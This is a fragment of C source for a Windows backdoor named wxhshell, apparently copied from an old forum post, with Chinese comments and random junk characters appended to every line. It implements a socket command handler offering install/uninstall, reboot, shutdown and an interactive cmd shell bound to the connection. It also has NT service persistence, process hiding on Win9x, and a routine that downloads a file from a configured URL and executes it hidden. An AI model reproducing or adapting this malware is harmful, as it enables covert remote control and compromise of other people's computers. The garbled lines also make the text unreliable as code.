  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Z/G`8|A  
  } "($"T v2  
  else { Ar{7H)V:  
!a9`]c  
    switch(cmd[0]) { y) .dw(  
  w#qE#g %1  
  // 帮助 ^K3Bn  
  case '?': { ka=EOiX.  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 0Ba*"/U]t~  
    break; O n/q&h5  
  } x u<oQBt  
  // 安装 (baBi9<P=  
  case 'i': { (ay((|)  
    if(Install()) 4"^v]&I  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); M4}b l h#  
    else 3sD/4 ?  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ,II-:&H  
    break; GtLn h~)  
    } +?9. &<?  
  // 卸载 M!4}B  
  case 'r': { 89Ch'D  
    if(Uninstall()) B>r>z5  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0);  $*$X5  
    else a 8}!9kL  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); >xCc#]v&  
    break; It#T\fU  
    } wX+KW0|>  
  // 显示 wxhshell 所在路径 PblO?@~O  
  case 'p': { W&=F<n`  
    char svExeFile[MAX_PATH]; '*=kt  
    strcpy(svExeFile,"\n\r"); \f4JIsZ-&  
      strcat(svExeFile,ExeFile); L %20tm  
        send(wsh,svExeFile,strlen(svExeFile),0); HDQH7Bs  
    break; ItxC}qT  
    } AGMrBd|J{  
  // 重启 z8JdA%YBM  
  case 'b': { !n3J6%b9y/  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); !SAR/sdXf  
    if(Boot(REBOOT)) C ^ 1;r9  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); l<-0@(x)  
    else { 1kczlTF  
    closesocket(wsh); 3?r?)$Jk  
    ExitThread(0); NR.YeKsBq  
    } mvXIh";  
    break; D<J, 3(Yu  
    } VRA0p[  
  // 关机 k:DAko}  
  case 'd': { eb=#{  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); {GhM,-%e  
    if(Boot(SHUTDOWN)) \9%RY]TK3  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); IRK(y*6  
    else { ^"{txd?6  
    closesocket(wsh); `3'4_@7s9  
    ExitThread(0); (aX6jdvo  
    } `kM:5f+>W  
    break; cIOM}/gqv  
    } Rdl^-\BV  
  // 获取shell ByivV2qd{  
  case 's': { {wCzm  
    CmdShell(wsh); dFzlcKFFD  
    closesocket(wsh); ;Y%.m3  
    ExitThread(0); TKrh3   
    break; +^<-;/FZue  
  } ?X~U[dV?  
  // 退出 &- 2i+KjEX  
  case 'x': { W?2Z31;7  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ,#hx%$f}d  
    CloseIt(wsh); woyeKOr  
    break; ,_!MI+o0  
    } by@}T@^\  
  // 离开 yQdoy^d/4  
  case 'q': { gF8n{b  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); uBA84r%{QQ  
    closesocket(wsh); 99u9L)  
    WSACleanup(); xy Pz_9  
    exit(1); #7"*Pxb#A  
    break; 09w<@#  
        } qcR"i+b  
  } y)D7!s  
  } `uLH3sr  
jLCZ JSK  
  // 提示信息 d!#qBn$*[  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); _H)>U[  
} <L>$Y#wU  
  } /qObXI  
 >q^l  
  return; * v W#XDx  
}  "?(N  
W=ar&O~}n  
// shell模块句柄 Y=tx kN  
int CmdShell(SOCKET sock) :8jaW?~  
{ }.74w0~0^  
STARTUPINFO si; ]q<Zc>OC  
ZeroMemory(&si,sizeof(si)); mQ qv{1  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 6y}|IhX?z  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Avr2MaY{h  
PROCESS_INFORMATION ProcessInfo; Y=YIz>u  
char cmdline[]="cmd"; I'>r  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 3|9 U`@  
  return 0; <j^bk"l p  
} |}KNtIX\G  
U3 y-cgE  
// 自身启动模式 bj`mQMC  
int StartFromService(void) D0HLU ~o  
{ CF_pIfbaf  
typedef struct G~fM!F0   
{ WC *e#QP  
  DWORD ExitStatus; & U6bOH%P  
  DWORD PebBaseAddress; |)WN%#v  
  DWORD AffinityMask; b$k|D)_|  
  DWORD BasePriority; ,sln0  
  ULONG UniqueProcessId; eh5j  
  ULONG InheritedFromUniqueProcessId; U f <hzP  
}   PROCESS_BASIC_INFORMATION; eV)'@ 8p  
Vi o ~2  
PROCNTQSIP NtQueryInformationProcess; Uth H  
afNqK~  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; s+l3]Hd  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; /swNhDQ"o  
i>}aQ:&^0  
  HANDLE             hProcess; [/iT D=O,  
  PROCESS_BASIC_INFORMATION pbi; \C eP.,<  
=%+O.  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); z-X_O32  
  if(NULL == hInst ) return 0; bJ#]Xm(]D  
H 6~6hg  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); i9 Tq h  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ~.H*"  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); W{z{AxS  
;%_s4  
  if (!NtQueryInformationProcess) return 0; !0k'fYCa  
a/v!W@Zz}  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); {Z^  G]@  
  if(!hProcess) return 0; ,2C{X+t  
~vMdIZ.h  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; okv`+VeA  
W-UMX',0zS  
  CloseHandle(hProcess); zXRq) ;s  
mtunD;_Dek  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); G!L(K  
if(hProcess==NULL) return 0; 9KgGK cy%  
f}C$!Lhs  
HMODULE hMod; 1q7Y,whp  
char procName[255]; d%wy@h  
unsigned long cbNeeded; vdt":  
;p_@%*JAx  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); tW)K pX  
_9<nM48+t  
  CloseHandle(hProcess); c1x{$  
:fx^{N!T  
if(strstr(procName,"services")) return 1; // 以服务启动 *\!>22*  
|DBj<|SX  
  return 0; // 注册表启动 CNkI9>L=W`  
} kQt#^pO)  
vi1 D<  
// 主模块 #PJHwvr  
int StartWxhshell(LPSTR lpCmdLine) q@(MD3OE  
{ )d$FFTH  
  SOCKET wsl; C^^AN~ZD  
BOOL val=TRUE; +$;* "o  
  int port=0; 49?wEm#  
  struct sockaddr_in door; z?I"[M  
;b6h/*;'  
  if(wscfg.ws_autoins) Install(); z9qF<m  
Krw'|<  
port=atoi(lpCmdLine); $3'xb/3|  
f]C`]qg  
if(port<=0) port=wscfg.ws_port; 3"O&IY<  
\0,8?S  
  WSADATA data; dMlJ2\ ]u  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; q*'-G]tH=  
WZ6'"Cz`  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   9pMXjsE   
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); -%)S~ R  
  door.sin_family = AF_INET; ]VcuD05"C  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Z(Z$>P&4  
  door.sin_port = htons(port); >z|bQW#2  
k((kx:  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Y~Z&h?H'}  
closesocket(wsl); UpSa7F:Uw  
return 1; m 88(f2Ch  
} %$6?em_  
#DA,*  
  if(listen(wsl,2) == INVALID_SOCKET) { O[j$n  
closesocket(wsl); +|6E~#zklY  
return 1; @ QfbIP9  
} .Mxt F\  
  Wxhshell(wsl); ys- w0H  
  WSACleanup(); AvZO R  
W_bA.z T{  
return 0; kk$D:UQX  
,X)/ T!ff  
} k[a5D/b  
5;CqGzgoP  
// 以NT服务方式启动 #}+_Hy  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Ch'e'EmI  
{ PnJA'@x  
DWORD   status = 0; [!j;jlh7},  
  DWORD   specificError = 0xfffffff; 'NN3XyD  
[H=l# W@  
  serviceStatus.dwServiceType     = SERVICE_WIN32; q rF:=?`E  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; L.x`Jpq(3  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 1[]V @P^  
  serviceStatus.dwWin32ExitCode     = 0; $xK(bc'{  
  serviceStatus.dwServiceSpecificExitCode = 0; H)pB{W/  
  serviceStatus.dwCheckPoint       = 0; >a)6GZ@  
  serviceStatus.dwWaitHint       = 0; =zRjb>  
3A'9=h,lVK  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); &G aI  
  if (hServiceStatusHandle==0) return; BWLeitS/  
X<uH [  
status = GetLastError(); ?MD\\gN  
  if (status!=NO_ERROR) _Kv;hR>  
{ )AXa.y  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Qy\K oo  
    serviceStatus.dwCheckPoint       = 0; U?8X]  
    serviceStatus.dwWaitHint       = 0; eo<=Q|nI&  
    serviceStatus.dwWin32ExitCode     = status; kYu"`_n}  
    serviceStatus.dwServiceSpecificExitCode = specificError; fvM|Jb  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ]64?S0p1c!  
    return; Z`yW2ON$'  
  } |$`I1  
4p]hY!7  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; +.|8W!h`1  
  serviceStatus.dwCheckPoint       = 0; %5/h;4   
  serviceStatus.dwWaitHint       = 0; }O8#4-E_Ji  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); N=;VS-  
} !z_VwZ#,  
ZZU"Q7`^  
// 处理NT服务事件,比如:启动、停止 i]IZ0.?Y  
VOID WINAPI NTServiceHandler(DWORD fdwControl) *h2)$^P%  
{ 8p.O rdp  
switch(fdwControl) "kkZK=}Nv  
{ N}7tjk   
case SERVICE_CONTROL_STOP:  `AxhA.&V  
  serviceStatus.dwWin32ExitCode = 0; J@Qw6J  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; b;$j h   
  serviceStatus.dwCheckPoint   = 0; Cs8e("w  
  serviceStatus.dwWaitHint     = 0; ['_G1_p  
  { I~NQt^sg  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); `"<tk1Kq"  
  } 'E~[I"0  
  return; pax;#*QcQ  
case SERVICE_CONTROL_PAUSE: a*nx2d  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; *m`KY)b=l  
  break; \&5t@sC  
case SERVICE_CONTROL_CONTINUE: Zn"1qLPF  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; /]"2;e-s+  
  break; Wo~#R   
case SERVICE_CONTROL_INTERROGATE: L\y>WR%s  
  break; t"]~e"  
}; nh+f,HtSt  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); PH3#\ v.   
} d=8q/]_p  
w65D;9/;  
// 标准应用程序主函数 M}BqSzd*  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) #F!'B|n  
{ Z}4 `y"By  
y}!}*Qj+/  
// 获取操作系统版本 '}$$o1R  
OsIsNt=GetOsVer(); >6"u{Qmr  
GetModuleFileName(NULL,ExeFile,MAX_PATH); *WpDavovyB  
A?/(W_Gt^M  
  // 从命令行安装 I:G4i}mA  
  if(strpbrk(lpCmdLine,"iI")) Install(); "=9kX`(1y  
3erGTa[|q  
  // 下载执行文件 q+Cq&|4 ?2  
if(wscfg.ws_downexe) { JJ$q*  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) sy;_%,}N  
  WinExec(wscfg.ws_filenam,SW_HIDE); `t~Zkb4>  
} Zjx:1c= b  
PK<+tIm\  
if(!OsIsNt) { MUfhk)"  
// 如果时win9x,隐藏进程并且设置为注册表启动 ,wE cRN w  
HideProc(); aZ{]t:]  
StartWxhshell(lpCmdLine); Kt3 ]r:&J  
} /vLdm-4  
else q2C._{ 0'  
  if(StartFromService()) a@&P\"k  
  // 以服务方式启动 /"%(i#<)xs  
  StartServiceCtrlDispatcher(DispatchTable); k2cC:5Xf3  
else R:t>P Fwo  
  // 普通方式启动 v8!Ts"  
  StartWxhshell(lpCmdLine); 4]18=?r>  
-%eBip,'yl  
return 0; <|MF\D'  
}
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只看该作者 1 发表于: 2006-10-10
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